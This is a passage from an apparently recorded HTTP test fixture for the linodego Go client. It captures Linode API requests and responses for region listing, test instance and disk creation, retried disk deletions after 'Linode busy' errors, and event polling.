172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-poll-test","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 53282734, "label": "go-ins-poll-test", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.123.17"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "926f6f61bf1247b3667bd94b88cd5ac7c8d33901", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "720" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","entity.id":53282734,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 615701235, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 14.0, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "440" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/615701235 method: GET response: body: '{"id": 615701235, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 14.0, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": null, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "391" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"deleteEvent-0","size":512}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks method: POST response: body: '{"id": 105633086, "status": "not ready", "label": "deleteEvent-0", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 512}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "169" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"deleteEvent-1","size":512}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:20 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: '{"label":"deleteEvent-1","size":512}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:23 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: '{"label":"deleteEvent-1","size":512}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks method: POST response: body: '{"id": 105633090, "status": "not ready", "label": "deleteEvent-1", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 512}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "169" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_delete","entity.id":53282734,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_delete","entity.id":53282734,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633086 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:27 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633086 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:30 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633086 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:34 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633086 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633090 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:41 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633090 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:44 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633090 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:49 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633090 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_delete","entity.id":53282734,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 615701642, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 12.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633090, "type": "disk", "label": "deleteEvent-1", "url": "/v4/linode/instances/53282734/disks/105633090"}, "message": ""}, {"id": 615701539, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 13.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633086, "type": "disk", "label": "deleteEvent-0", "url": "/v4/linode/instances/53282734/disks/105633086"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:09:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/615701539 method: GET response: body: '{"id": 615701539, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 13.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633086, "type": "disk", "label": "deleteEvent-0", "url": "/v4/linode/instances/53282734/disks/105633086"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "500" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:09:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_delete","entity.id":53282734,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 615701642, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 12.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633090, "type": "disk", "label": "deleteEvent-1", "url": "/v4/linode/instances/53282734/disks/105633090"}, "message": ""}, {"id": 615701539, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 13.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633086, "type": "disk", "label": "deleteEvent-0", "url": "/v4/linode/instances/53282734/disks/105633086"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive 